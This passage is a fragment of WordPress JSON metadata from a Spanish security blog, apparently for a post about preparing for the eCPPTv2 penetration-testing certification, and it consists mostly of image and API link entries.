https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=700%2C400 2x"},"classes":[]},{"id":3583,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/27\/preparar-ecpptv2\/","url_meta":{"origin":3581,"position":5},"title":"\u00bfC\u00f3mo PREPARAR la certificaci\u00f3n eCPPTV2?","author":"david","date":"noviembre 27, 2023","format":false,"excerpt":"Hoy, me complace profundizar en \"\u00bfC\u00f3mo preparar la certificaci\u00f3n eCPPTv2 (Certified Professional Penetration Tester)?\", una credencial que he obtenido recientemente y que ha marcado un punto de inflexi\u00f3n significativo en mi carrera en seguridad inform\u00e1tica. Esta certificaci\u00f3n no solo ha ampliado mi conocimiento t\u00e9cnico sino que tambi\u00e9n ha reforzado mi\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3581"}],"version-history":[{"count":3,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3581\/revisions"}],"predecessor-version":[{"id":3601,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3581\/revisions\/3601"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3585"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}